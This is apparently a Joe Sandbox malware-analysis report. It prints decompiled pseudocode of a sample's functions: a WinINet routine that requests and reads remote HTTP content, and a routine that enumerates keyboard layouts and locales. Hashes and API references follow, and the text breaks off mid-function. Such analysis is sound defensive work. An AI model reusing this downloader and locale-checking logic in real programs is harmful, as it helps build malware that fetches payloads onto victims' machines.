Function 00401B40 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00401B40(void* __ebx, void* __ecx, void* __edi, void* _a4) {
				intOrPtr _v4;
				char* _v8;
				char* _v12;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _v36;
				char _v52;
				void _v56;
				intOrPtr _v60;
				char* _v64;
				char* _v80;
				intOrPtr _v84;
				signed int _v88;
				void* _v92;
				void _v288;
				int _v292;
				long _v296;
				char* _v300;
				char _v316;
				char* _v320;
				char* _v324;
				short* _v328;
				char* _v332;
				char* _v336;
				char* _v340;
				char* _v356;
				signed int _v360;
				char* _v364;
				char* _v380;
				intOrPtr* _v488;
				char _v508;
				signed int _v516;
				intOrPtr _v520;
				char* _v524;
				char* _v540;
				intOrPtr _v544;
				char* _v572;
				void* __esi;
				void* __ebp;
				signed int _t210;
				signed int _t211;
				int _t218;
				char* _t219;
				char* _t230;
				intOrPtr _t231;
				short* _t238;
				short _t241;
				intOrPtr* _t244;
				void* _t245;
				char* _t247;
				short* _t251;
				char* _t256;
				char* _t266;
				signed int _t273;
				signed int _t275;
				void* _t281;
				intOrPtr _t294;
				signed int _t299;
				char* _t300;
				void* _t308;
				signed int _t313;
				void* _t319;
				char* _t322;
				intOrPtr _t330;
				int _t332;
				void* _t333;
				void* _t334;
				void* _t336;
				char* _t337;
				signed int _t338;
				void* _t340;
				intOrPtr _t341;
				void* _t343;
				void* _t344;
				intOrPtr* _t353;
				int _t357;
				short* _t364;
				void* _t371;
				char* _t373;
				char* _t376;
				intOrPtr* _t377;
				char _t391;
				char* _t393;
				char* _t400;
				void* _t404;
				short* _t407;
				signed int _t410;
				char* _t414;
				intOrPtr* _t416;
				intOrPtr _t418;
				signed int _t419;
				void* _t420;
				void* _t423;
				void* _t425;
				void* _t426;
				int _t427;
				short* _t428;
				void* _t430;
				intOrPtr _t432;
				signed int _t433;
				signed int _t434;
				void* _t436;
				intOrPtr* _t437;
				intOrPtr _t438;
				void* _t440;
				void* _t441;
				void* _t442;
				void* _t443;
				void* _t444;
				intOrPtr _t445;
				void* _t447;
				void* _t448;
				signed int _t451;
				signed int _t452;
				void* _t454;
				void* _t455;
				void* _t456;
				void* _t457;
				signed int _t458;
				void* _t459;
				void* _t461;
				void* _t462;

				_push(0xffffffff);
				_push(0x42c24b);
				_push( *[fs:0x0]);
				_t455 = _t454 - 0x170;
				_t210 =  *0x43d054; // 0x298e9dc2
				_t211 = _t210 ^ _t451;
				_v24 = _t211;
				_push(__ebx);
				_push(__edi);
				_push(_t211);
				 *[fs:0x0] =  &_v16;
				_t440 = __ecx;
				_t466 =  *((intOrPtr*)(__ecx + 0x28));
				_t425 = _a4;
				_v328 = _t425;
				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
					_v332 =  *((intOrPtr*)(__ecx + 0x34));
				} else {
					 *((intOrPtr*)(__ecx + 0x30)) = 0x7800;
					_t330 = E0040ED8D(__ebx, _t425, __ecx, _t466, 0x7800);
					_t455 = _t455 + 4;
					 *((intOrPtr*)(_t440 + 0x28)) = _t330;
					 *(_t440 + 0x34) = 0;
					_v332 = 0;
				}
				_v296 = 0;
				InternetSetFilePointer(_t425, 0, 0, 0, 0);
				do {
					_t218 = InternetReadFile(_t425,  &(( *(_t440 + 0x34))[ *((intOrPtr*)(_t440 + 0x28))]), 0x3e8,  &_v296); // executed
					_t403 = _v296;
					_t332 = _t218;
					_t219 =  *(_t440 + 0x30);
					 *(_t440 + 0x34) =  &(( *(_t440 + 0x34))[_t403]);
					_t467 = _t219 -  *(_t440 + 0x34) - 0x3e8;
					if(_t219 -  *(_t440 + 0x34) <= 0x3e8) {
						 *(_t440 + 0x30) =  &(_t219[0x7800]);
						_t438 = E0040ED8D(_t332, _t425, _t440, _t467,  &(_t219[0x7800]));
						E00410440(_t438,  *((intOrPtr*)(_t440 + 0x28)),  &(( *(_t440 + 0x34))[1]));
						L0040EB4D( *((intOrPtr*)(_t440 + 0x28)));
						_t403 = _v296;
						_t455 = _t455 + 0x14;
						 *((intOrPtr*)(_t440 + 0x28)) = _t438;
						_t425 = _v328;
					}
				} while (_t332 != 0 && _t403 != 0);
				_v296 = 0x103;
				E00410A80(_t425,  &_v288, 0, 0x104);
				_t456 = _t455 + 0xc;
				if(HttpQueryInfoA(_t425, 0x1d,  &_v288,  &_v296, 0) == 0) {
					L32:
					( *(_t440 + 0x34))[ *((intOrPtr*)(_t440 + 0x28))] = 0;
					 *[fs:0x0] = _v16;
					_pop(_t426);
					_pop(_t441);
					_pop(_t333);
					return E0040EB3F( *(_t440 + 0x34) - _v332, _t333, _v24 ^ _t451, _t403, _t426, _t441);
				} else {
					_v324 = 0;
					_t230 =  &_v316;
					_v320 = 0;
					__imp__CoCreateInstance(_t230, 0, "true", 0x42e2c0,  &_v324);
					if(_t230 < 0 || _v324 == 0) {
						goto L32;
					} else {
						_t353 =  &_v288;
						_v356 = 0;
						_v340 = 0;
						_t404 = _t353 + 1;
						_v336 = 0xf;
						_v356 = 0;
						asm("o16 nop [eax+eax]");
						do {
							_t231 =  *_t353;
							_t353 = _t353 + 1;
						} while (_t231 != 0);
						E004026C0(_t332,  &_v356,  &_v288, _t353 - _t404);
						_v8 = 0;
						_t334 = MultiByteToWideChar;
						_t357 =  &(_v340[1]);
						_t235 =  >=  ? _v356 :  &_v356;
						_v292 = _t357;
						_t427 = MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _t357, 0, 0);
						_t238 = E0040ED8D(MultiByteToWideChar, _t427, _t440, _v336 - 0x10,  ~(0 | _v336 - 0x00000010 > 0x00000000) | _t236 * 0x00000002);
						_t457 = _t456 + 4;
						_v328 = _t238;
						_t363 =  >=  ? _v356 :  &_v356;
						_t428 = _t238;
						MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _v292, _t428, _t427);
						_t364 = _t428;
						_v380 = 0;
						_v364 = 0;
						_v360 = 7;
						_v380 = 0;
						_t66 =  &(_t364[1]); // 0x2
						_t407 = _t66;
						do {
							_t241 =  *_t364;
							_t364 =  &(_t364[1]);
						} while (_t241 != 0);
						E00402560(MultiByteToWideChar,  &_v380, _t428);
						L0040EB4D(_t428);
						_t458 = _t457 + 4;
						_v8 = 1;
						_t244 = _v324;
						_t409 =  >=  ? _v380 :  &_v380;
						_t245 =  *((intOrPtr*)( *_t244 + 0x10))(_t244,  >=  ? _v380 :  &_v380, L"text",  &_v320, _t364 - _t407 >> 1);
						_v8 = 0;
						_t430 = _t245;
						_t410 = _v360;
						if(_t410 < 8) {
							L19:
							_v8 = 0xffffffff;
							_t403 = _v336;
							_v364 = 0;
							_v360 = 7;
							_v380 = 0;
							if(_t403 < 0x10) {
								L23:
								if(_t430 >= 0) {
									_t487 = _v320;
									if(_v320 != 0) {
										_t336 = ( *(_t440 + 0x34) - _v332) * 8 -  *(_t440 + 0x34) - _v332;
										_t251 = E0040ED8D(_t336, _t430, _t440, _t487, _t336);
										_t459 = _t458 + 4;
										_t371 =  *(_t440 + 0x34) - _v332;
										_v292 = 0;
										_push(0);
										_v300 = 0;
										_t431 =  *_v320;
										_push( &_v292);
										_v328 = _t251;
										_push( &_v300);
										_t403 = _v320;
										_push(_t371);
										_push(_t251);
										_push(_t336);
										_t337 = _v332;
										_push( *((intOrPtr*)(_t440 + 0x28)) + _t337);
										_push(_t371);
										_push(0);
										_push(_v320);
										if( *((intOrPtr*)( *_v320 + 0x10))() >= 0) {
											_t258 = _v292;
											_t414 =  *(_t440 + 0x30);
											_t373 =  &(_t337[_v292]);
											_t489 = _t414 - _t373;
											if(_t414 > _t373) {
												_t432 =  *((intOrPtr*)(_t440 + 0x28));
											} else {
												 *(_t440 + 0x30) =  &(_t373[0x3e8]);
												_t432 = E0040ED8D(_t337, _t431, _t440, _t489,  &(_t373[0x3e8]));
												E00401770(_t432,  *(_t440 + 0x30),  *((intOrPtr*)(_t440 + 0x28)), _t337);
												L0040EB4D( *((intOrPtr*)(_t440 + 0x28)));
												_t414 =  *(_t440 + 0x30);
												_t459 = _t459 + 0x10;
												_t258 = _v292;
												 *((intOrPtr*)(_t440 + 0x28)) = _t432;
											}
											_t403 = _t414 - _t337;
											E00401770(_t432 + _t337, _t414 - _t337, _v328, _t258);
											_t459 = _t459 + 8;
											 *(_t440 + 0x34) =  &(_t337[_v292]);
										}
										L0040EB4D(_v328);
										_t256 = _v320;
										 *((intOrPtr*)( *_t256 + 8))(_t256);
									}
								}
								_t247 = _v324;
								 *((intOrPtr*)( *_t247 + 8))(_t247);
								goto L32;
							} else {
								_t376 = _v356;
								_t403 = _t403 + 1;
								_t266 = _t376;
								if(_t403 < 0x1000) {
									L22:
									_push(_t403);
									E0040ED7F(_t376);
									_t458 = _t458 + 8;
									goto L23;
								} else {
									_t376 =  *(_t376 - 4);
									_t403 = _t403 + 0x23;
									if(_t266 - _t376 + 0xfffffffc > 0x1f) {
										goto L33;
									} else {
										goto L22;
									}
								}
							}
						} else {
							_t400 = _v380;
							_t423 = 2 + _t410 * 2;
							_t322 = _t400;
							if(_t423 < 0x1000) {
								L18:
								_push(_t423);
								E0040ED7F(_t400);
								_t458 = _t458 + 8;
								goto L19;
							} else {
								_t376 =  *(_t400 - 4);
								_t403 = _t423 + 0x23;
								if(_t322 - _t376 + 0xfffffffc > 0x1f) {
									L33:
									E004134A7(_t334, _t403, __eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t451);
									_t452 = _t458;
									_push(0xffffffff);
									_push(0x42c295);
									_push( *[fs:0x0]);
									_t461 = _t458 - 0x48;
									_t273 =  *0x43d054 ^ _t452;
									__eflags = _t273;
									_v516 = _t273;
									_push(_t334);
									_push(_t440);
									_push(_t430);
									_push(_t273);
									 *[fs:0x0] =  &_v508;
									_v572 = _t376;
									_t416 = _v488;
									_t377 = _t416;
									_v540 = 0;
									_v544 = _t416;
									_v524 = 0;
									_v520 = 0xf;
									_t442 = _t377 + 1;
									_v540 = 0;
									do {
										_t275 =  *_t377;
										_t377 = _t377 + 1;
										__eflags = _t275;
									} while (_t275 != 0);
									E004026C0(_t334,  &_v52, _t416, _t377 - _t442);
									_v12 = 0;
									_t338 = _v32;
									__eflags = _t338 - 0x10;
									_t443 = _v36;
									_t417 = _t443;
									_t381 =  >=  ? _v52 :  &_v52;
									_t433 = E004028A0( >=  ? _v52 :  &_v52, _t443,  >=  ? _v52 :  &_v52, "http://", 7);
									_t462 = _t461 + 0xc;
									__eflags = _t433 - 0xffffffff;
									if(_t433 == 0xffffffff) {
										L39:
										__eflags = _v32 - 0x10;
										_t340 =  >=  ? _v52 :  &_v52;
										__eflags = _t443;
										if(_t443 == 0) {
											L42:
											_t434 = _t433 | 0xffffffff;
											__eflags = _t434;
										} else {
											_t433 = E004109D0(_t340, 0x2f, _t443);
											_t462 = _t462 + 0xc;
											__eflags = _t433;
											if(_t433 == 0) {
												goto L42;
											} else {
												_t434 = _t433 - _t340;
											}
										}
										__eflags = _t443 - _t434;
										_v80 = 0;
										_v64 = 0;
										_t383 =  <  ? _t443 : _t434;
										_v60 = 0xf;
										__eflags = _v32 - 0x10;
										_t279 =  >=  ? _v52 :  &_v52;
										_v80 = 0;
										E004026C0(_t340,  &_v80,  >=  ? _v52 :  &_v52,  <  ? _t443 : _t434);
										_v12 = 1;
										_t281 = _v36;
										__eflags = _t281 - _t434;
										_t435 =  <  ? _t281 : _t434;
										__eflags = _v32 - 0x10;
										_t386 =  >=  ? _v52 :  &_v52;
										_t282 = _t281 - ( <  ? _t281 : _t434);
										_v36 = _t281 - ( <  ? _t281 : _t434);
										E00410440( >=  ? _v52 :  &_v52,  &(( >=  ? _v52 :  &_v52)[ <  ? _t281 : _t434]), _t281 - ( <  ? _t281 : _t434) + 1);
										_t341 = _v84;
										_v88 = 0;
										E00413584(_t341 + 0x44, 0x104, _v56, 0x103);
										_t462 = _t462 + 0x1c;
										asm("sbb eax, eax");
										_t443 = InternetOpenA( *(_t341 + 0xc),  ~( *(_t341 + 0x38)) & 0x00000003,  *(_t341 + 0x38), 0, 0);
										_v92 = _t443;
										__eflags = _t443;
										if(_t443 != 0) {
											_v56 = 1;
											InternetSetOptionA(_t443, 0x41,  &_v56, 4);
											__eflags = _v60 - 0x10;
											_t307 =  >=  ? _v80 :  &_v80;
											_t308 = InternetConnectA(_t443,  >=  ? _v80 :  &_v80, 0x50,  *(_t341 + 0x3c),  *(_t341 + 0x40), 3, 0, 1);
											_t437 = InternetCloseHandle;
											_t344 = _t308;
											__eflags = _t344;
											if(_t344 != 0) {
												__eflags = _v32 - 0x10;
												_t395 =  >=  ? _v52 :  &_v52;
												_t447 = HttpOpenRequestA(_t344, "GET",  >=  ? _v52 :  &_v52, 0, 0, 0, 0x80400000, 1);
												__eflags = _t447;
												if(__eflags != 0) {
													E00401A00(_t344, InternetCloseHandle, __eflags, _t447);
													_t313 = HttpSendRequestA(_t447, 0, 0, 0, 0);
													__eflags = _t313;
													if(_t313 != 0) {
														_v88 = E00401B40(_t344, _v84, InternetCloseHandle, _t447);
													}
													 *_t437(_t447);
												}
												 *_t437(_t344);
												_t443 = _v92;
											}
											 *_t437(_t443);
										}
										_t418 = _v60;
										__eflags = _v88;
										_t338 = 0 | _v88 > 0x00000000;
										__eflags = _t418 - 0x10;
										if(_t418 < 0x10) {
											L55:
											_t419 = _v32;
											_v64 = 0;
											_v60 = 0xf;
											_v80 = 0;
											__eflags = _t419 - 0x10;
											if(_t419 < 0x10) {
												L59:
												 *[fs:0x0] = _v20;
												_pop(_t436);
												_pop(_t444);
												_pop(_t343);
												__eflags = _v28 ^ _t452;
												return E0040EB3F(_t338, _t343, _v28 ^ _t452, _t419, _t436, _t444);
											} else {
												_t391 = _v52;
												_t419 = _t419 + 1;
												_t294 = _t391;
												__eflags = _t419 - 0x1000;
												if(_t419 < 0x1000) {
													L58:
													_push(_t419);
													E0040ED7F(_t391);
													goto L59;
												} else {
													_t391 =  *((intOrPtr*)(_t391 - 4));
													_t419 = _t419 + 0x23;
													__eflags = _t294 - _t391 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L61;
													} else {
														goto L58;
													}
												}
											}
										} else {
											_t393 = _v80;
											_t420 = _t418 + 1;
											_t300 = _t393;
											__eflags = _t420 - 0x1000;
											if(_t420 < 0x1000) {
												L54:
												_push(_t420);
												E0040ED7F(_t393);
												_t462 = _t462 + 8;
												goto L55;
											} else {
												_t391 =  *((intOrPtr*)(_t393 - 4));
												_t419 = _t420 + 0x23;
												__eflags = _t300 - _t391 + 0xfffffffc - 0x1f;
												if(__eflags > 0) {
													goto L61;
												} else {
													goto L54;
												}
											}
										}
									} else {
										__eflags = _t443 - _t433;
										if(_t443 < _t433) {
											E00402800(_t381, _t417);
											L61:
											E004134A7(_t338, _t419, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t452);
											_push(_t443);
											_t445 = _t391;
											_t299 =  *(_t445 + 0x2c);
											 *(_t445 + 0x34) = 0;
											__eflags = _t299;
											if(_t299 != 0) {
												_t299 = L0040EB4D(_t299);
												 *(_t445 + 0x2c) = 0;
											}
											_push(_v4);
											L34();
											return _t299;
										} else {
											_t319 = _t443 - _t433;
											__eflags = _t319 - 7;
											_t422 =  <  ? _t319 : 7;
											__eflags = _t338 - 0x10;
											_t398 =  >=  ? _v52 :  &_v52;
											_t448 = _t443 - 7;
											_t399 =  &(( >=  ? _v52 :  &_v52)[_t433]);
											_v36 = _t448;
											__eflags = _t448 - _t433 + 1;
											E00410440( &(( >=  ? _v52 :  &_v52)[_t433]),  &(( &(( >=  ? _v52 :  &_v52)[_t433]))[ <  ? _t319 : 7]), _t448 - _t433 + 1);
											_t443 = _v36;
											_t462 = _t462 + 0xc;
											goto L39;
										}
									}
								} else {
									goto L18;
								}
							}
						}
					}
				}
			}

0x00401b43
0x00401b45
0x00401b50
0x00401b51
0x00401b57
0x00401b5c
0x00401b5e
0x00401b61
0x00401b63
0x00401b64
0x00401b68
0x00401b6e
0x00401b70
0x00401b74
0x00401b77
0x00401b7d
0x00401bac
0x00401b7f
0x00401b84
0x00401b8b
0x00401b90
0x00401b93
0x00401b96
0x00401b9d
0x00401b9d
0x00401bbb
0x00401bc5
0x00401bd0
0x00401be4
0x00401bea
0x00401bf0
0x00401bf2
0x00401bf7
0x00401bfd
0x00401c03
0x00401c0b
0x00401c16
0x00401c1e
0x00401c26
0x00401c2b
0x00401c31
0x00401c34
0x00401c37
0x00401c37
0x00401c3d
0x00401c50
0x00401c5d
0x00401c62
0x00401c80
0x00401fe5
0x00401feb
0x00401ffb
0x00402003
0x00402004
0x00402005
0x00402013
0x00401c86
0x00401c8c
0x00401ca0
0x00401ca6
0x00401cb1
0x00401cb9
0x00000000
0x00401ccc
0x00401ccc
0x00401cd2
0x00401cdc
0x00401ce6
0x00401ce9
0x00401cf3
0x00401cfa
0x00401d00
0x00401d00
0x00401d02
0x00401d03
0x00401d17
0x00401d1c
0x00401d2f
0x00401d35
0x00401d3f
0x00401d4e
0x00401d58
0x00401d69
0x00401d6e
0x00401d71
0x00401d84
0x00401d8c
0x00401d9a
0x00401d9c
0x00401d9e
0x00401daa
0x00401db4
0x00401dbe
0x00401dc5
0x00401dc5
0x00401dd0
0x00401dd0
0x00401dd3
0x00401dd6
0x00401de7
0x00401ded
0x00401df2
0x00401df5
0x00401dff
0x00401e13
0x00401e23
0x00401e26
0x00401e2a
0x00401e2c
0x00401e35
0x00401e6c
0x00401e6e
0x00401e75
0x00401e7b
0x00401e85
0x00401e8f
0x00401e99
0x00401eca
0x00401ecc
0x00401ed2
0x00401ed9
0x00401eef
0x00401ef2
0x00401efd
0x00401f03
0x00401f09
0x00401f13
0x00401f15
0x00401f1f
0x00401f27
0x00401f2e
0x00401f34
0x00401f35
0x00401f3b
0x00401f3c
0x00401f40
0x00401f41
0x00401f49
0x00401f4a
0x00401f4b
0x00401f4d
0x00401f53
0x00401f55
0x00401f5b
0x00401f5e
0x00401f61
0x00401f63
0x00401f9d
0x00401f65
0x00401f6c
0x00401f77
0x00401f7f
0x00401f87
0x00401f8c
0x00401f8f
0x00401f92
0x00401f98
0x00401f98
0x00401fa7
0x00401fac
0x00401fb7
0x00401fbc
0x00401fbc
0x00401fc5
0x00401fca
0x00401fd6
0x00401fd6
0x00401ed9
0x00401fd9
0x00401fe2
0x00000000
0x00401e9b
0x00401e9b
0x00401ea1
0x00401ea2
0x00401eaa
0x00401ec0
0x00401ec0
0x00401ec2
0x00401ec7
0x00000000
0x00401eac
0x00401eac
0x00401eaf
0x00401eba
0x00000000
0x00000000
0x00000000
0x00000000
0x00401eba
0x00401eaa
0x00401e37
0x00401e37
0x00401e3d
0x00401e44
0x00401e4c
0x00401e62
0x00401e62
0x00401e64
0x00401e69
0x00000000
0x00401e4e
0x00401e4e
0x00401e51
0x00401e5c
0x00402016
0x00402016
0x0040201b
0x0040201c
0x0040201d
0x0040201e
0x0040201f
0x00402020
0x00402021
0x00402023
0x00402025
0x00402030
0x00402031
0x00402039
0x00402039
0x0040203b
0x0040203e
0x0040203f
0x00402040
0x00402041
0x00402045
0x0040204b
0x0040204e
0x00402051
0x00402053
0x0040205a
0x0040205d
0x00402064
0x0040206b
0x0040206e
0x00402072
0x00402072
0x00402074
0x00402075
0x00402075
0x00402080
0x00402085
0x0040208f
0x00402092
0x00402095
0x00402098
0x0040209a
0x004020ab
0x004020ad
0x004020b0
0x004020b3
0x004020f0
0x004020f0
0x004020f7
0x004020fb
0x004020fd
0x00402115
0x00402115
0x00402115
0x004020ff
0x00402108
0x0040210a
0x0040210d
0x0040210f
0x00000000
0x00402111
0x00402111
0x00402111
0x0040210f
0x00402118
0x0040211a
0x00402123
0x0040212a
0x0040212d
0x00402134
0x0040213c
0x00402144
0x00402148
0x0040214d
0x00402154
0x00402157
0x00402159
0x0040215c
0x00402160
0x00402164
0x00402166
0x00402170
0x00402175
0x0040217b
0x00402193
0x0040219b
0x004021a5
0x004021b4
0x004021b6
0x004021b9
0x004021bb
0x004021c6
0x004021d1
0x004021d7
0x004021e0
0x004021f2
0x004021f8
0x004021fe
0x00402200
0x00402202
0x00402204
0x0040220d
0x00402229
0x0040222b
0x0040222d
0x00402230
0x0040223e
0x00402244
0x00402246
0x00402251
0x00402251
0x00402255
0x00402255
0x00402258
0x0040225a
0x0040225a
0x0040225e
0x0040225e
0x00402260
0x00402265
0x00402268
0x0040226b
0x0040226e
0x00402298
0x00402298
0x0040229b
0x004022a2
0x004022a9
0x004022ad
0x004022b0
0x004022da
0x004022df
0x004022e7
0x004022e8
0x004022e9
0x004022ed
0x004022f7
0x004022b2
0x004022b2
0x004022b5
0x004022b6
0x004022b8
0x004022be
0x004022d0
0x004022d0
0x004022d2
0x00000000
0x004022c0
0x004022c0
0x004022c3
0x004022cb
0x004022ce
0x00000000
0x00000000
0x00000000
0x00000000
0x004022ce
0x004022be
0x00402270
0x00402270
0x00402273
0x00402274
0x00402276
0x0040227c
0x0040228e
0x0040228e
0x00402290
0x00402295
0x00000000
0x0040227e
0x0040227e
0x00402281
0x00402289
0x0040228c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040228c
0x0040227c
0x004020b5
0x004020b5
0x004020b7
0x004022fa
0x004022ff
0x004022ff
0x00402304
0x00402305
0x00402306
0x00402307
0x00402308
0x00402309
0x0040230a
0x0040230b
0x0040230c
0x0040230d
0x0040230e
0x0040230f
0x00402310
0x00402313
0x00402314
0x00402316
0x00402319
0x00402320
0x00402322
0x00402325
0x0040232d
0x0040232d
0x00402334
0x00402339
0x00402340
0x004020bd
0x004020c2
0x004020c9
0x004020cb
0x004020ce
0x004020d1
0x004020d5
0x004020d7
0x004020d9
0x004020de
0x004020e5
0x004020ea
0x004020ed
0x00000000
0x004020ed
0x004020b7
0x00000000
0x00000000
0x00000000
0x00401e5c
0x00401e4c
0x00401e35
0x00401cb9

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 00401BC5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 00401BE4

Strings

text, xrefs: 00401E1C

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 1186a57e0e310aca16fe47c36d5f4b6cffc31baa6d91a97c410239c9c70368c2
Instruction ID: 25b526b37aec09b3ef7a4049139250d4f2bd2158be93f4c38c49d480371632c1
Opcode Fuzzy Hash: 1186a57e0e310aca16fe47c36d5f4b6cffc31baa6d91a97c410239c9c70368c2
Instruction Fuzzy Hash: 0BC16B70A002189FDB25CF25CD85BEAB7B9FF48304F1045E9E40AA7291DB75AE85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00404D40 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 368
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00404D40(void* __ebx, int* __ecx) {
				intOrPtr _v8;
				int _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				char _v80;
				char _v81;
				signed int _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				long _v100;
				int _v104;
				int _v120;
				char _v284;
				char _v288;
				char _v292;
				char _v540;
				struct HKL__* _v1564;
				int* _v1568;
				int _v1572;
				int _v1576;
				int _v1580;
				long _v1584;
				int _v1588;
				int _v1604;
				int* _v1608;
				intOrPtr _v1628;
				char _v1636;
				signed int _v1640;
				intOrPtr _v1652;
				intOrPtr _v1656;
				signed int _v1660;
				intOrPtr _v1696;
				intOrPtr _v1700;
				signed int _v1752;
				char _v2002;
				short _v2004;
				int* _v2020;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t130;
				signed int _t131;
				int _t134;
				int _t137;
				intOrPtr* _t139;
				intOrPtr _t143;
				int _t145;
				signed int _t151;
				signed int _t152;
				intOrPtr _t155;
				intOrPtr _t164;
				signed int _t170;
				short _t172;
				signed int _t177;
				signed int _t183;
				intOrPtr _t188;
				signed char _t189;
				signed char* _t190;
				void* _t195;
				long _t196;
				intOrPtr _t197;
				intOrPtr _t198;
				intOrPtr _t202;
				intOrPtr _t203;
				intOrPtr _t204;
				int _t208;
				void* _t212;
				signed int _t213;
				void* _t220;
				signed int _t222;
				int _t223;
				void* _t224;
				intOrPtr _t232;
				int _t234;
				int _t237;
				signed int* _t238;
				signed int _t248;
				intOrPtr* _t249;
				signed int _t255;
				long _t259;
				void* _t260;
				void* _t264;
				signed char* _t265;
				signed int _t267;
				void* _t268;
				signed int _t269;
				void* _t270;
				int* _t271;
				void* _t272;
				int* _t274;
				void* _t275;
				void* _t276;
				signed int _t277;
				void* _t279;
				void* _t280;
				intOrPtr _t281;
				signed int _t284;
				signed int _t286;
				signed int _t288;
				void* _t290;
				signed int _t293;
				signed int _t294;
				void* _t297;
				signed int _t299;

				_push(__ebx);
				_t220 = _t290;
				_t293 = (_t290 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t220 + 4));
				_t284 = _t293;
				_push(0xffffffff);
				_push(0x42c4f2);
				_push( *[fs:0x0]);
				_push(_t220);
				_t294 = _t293 - 0x630;
				_t130 =  *0x43d054; // 0x298e9dc2
				_t131 = _t130 ^ _t284;
				_v32 = _t131;
				_push(_t131);
				 *[fs:0x0] =  &_v24;
				_t274 = __ecx;
				_v1568 = __ecx;
				_v1608 = __ecx;
				asm("xorps xmm0, xmm0");
				_v1572 = 0;
				asm("movq [esi], xmm0");
				__ecx[2] = 0;
				 *__ecx = 0;
				__ecx[1] = 0;
				__ecx[2] = 0;
				_v16 = 0;
				_v1572 = 1;
				_t134 = GetKeyboardLayoutList(0x400,  &_v1564);
				_t267 = 0;
				_v1568 = _t134;
				if(_t134 <= 0) {
					L12:
					 *[fs:0x0] = _v24;
					_pop(_t268);
					_pop(_t275);
					return E0040EB3F(_t274, _t220, _v32 ^ _t284, _t259, _t268, _t275);
				} else {
					do {
						_t137 =  *(_t284 + _t267 * 4 - 0x610) & 0x0000ffff;
						_v1576 = _t137;
						GetLocaleInfoA(_t137, 2,  &_v540, 0x1f4); // executed
						_t139 =  &_v540;
						_v1604 = 0;
						_v1588 = 0;
						_t260 = _t139 + 1;
						_v1584 = 0xf;
						_v1604 = 0;
						do {
							_t232 =  *_t139;
							_t139 = _t139 + 1;
						} while (_t232 != 0);
						E004026C0(_t220,  &_v1604,  &_v540, _t139 - _t260);
						_t234 = _v1576;
						_v1580 = _t234;
						_v16 = 1;
						_t143 =  *((intOrPtr*)(_t274 + 4));
						if(_t143 ==  *((intOrPtr*)(_t274 + 8))) {
							_push( &_v1604);
							_push(_t143);
							E0040CBC0(_t220, _t274, _t267, _t274);
							_t259 = _v1584;
						} else {
							asm("movups xmm0, [ebp-0x638]");
							_t259 = 0xf;
							_v1604 = 0;
							asm("movups [eax], xmm0");
							asm("movq xmm0, [ebp-0x628]");
							asm("movq [eax+0x10], xmm0");
							 *(_t143 + 0x18) = _t234;
							 *((intOrPtr*)(_t274 + 4)) =  *((intOrPtr*)(_t274 + 4)) + 0x1c;
						}
						_v16 = 0;
						if(_t259 < 0x10) {
							goto L11;
						} else {
							_t237 = _v1604;
							_t259 = _t259 + 1;
							_t145 = _t237;
							if(_t259 < 0x1000) {
								L10:
								_push(_t259);
								E0040ED7F(_t237);
								_t294 = _t294 + 8;
								goto L11;
							} else {
								_t237 =  *(_t237 - 4);
								_t259 = _t259 + 0x23;
								if(_t145 - _t237 + 0xfffffffc > 0x1f) {
									E004134A7(_t220, _t259, __eflags);
									asm("int3");
									_push(_t284);
									_t286 = _t294;
									_push(0xffffffff);
									_push(0x42c535);
									_push( *[fs:0x0]);
									_t297 = _t294 - 0x5c;
									_t151 =  *0x43d054; // 0x298e9dc2
									_t152 = _t151 ^ _t286;
									_v1640 = _t152;
									_push(_t220);
									_push(_t274);
									_push(_t267);
									_push(_t152);
									 *[fs:0x0] =  &_v1636;
									_t222 = 0;
									_t238 =  &_v1660;
									asm("xorps xmm0, xmm0");
									_v1696 = 0;
									asm("movq [ebp-0x24], xmm0");
									_v1652 = 0;
									E00404D40(0, _t238); // executed
									_v1628 = 0;
									_t155 = _v1656;
									_t269 = _v1660;
									_v1700 = _t155;
									__eflags = _t269 - _t155;
									if(_t269 == _t155) {
										L41:
										_t223 = 0;
										__eflags = 0;
										goto L42;
									} else {
										_v40 = 0x5d5d5b7c;
										_v36 = 0x2e404f47;
										_t281 =  *((intOrPtr*)( *[fs:0x2c]));
										_v96 = _t281;
										do {
											E0040BB10(_t222,  &_v80, _t259, _t269, _t269);
											_v56 =  *((intOrPtr*)(_t269 + 0x18));
											_v20 = 1;
											_t188 =  *0x450fe0; // 0x8000000f
											__eflags = _t188 -  *((intOrPtr*)(_t281 + 4));
											if(_t188 >  *((intOrPtr*)(_t281 + 4))) {
												E0040EEC8(_t188, 0x450fe0);
												_t297 = _t297 + 4;
												__eflags =  *0x450fe0 - 0xffffffff;
												if(__eflags == 0) {
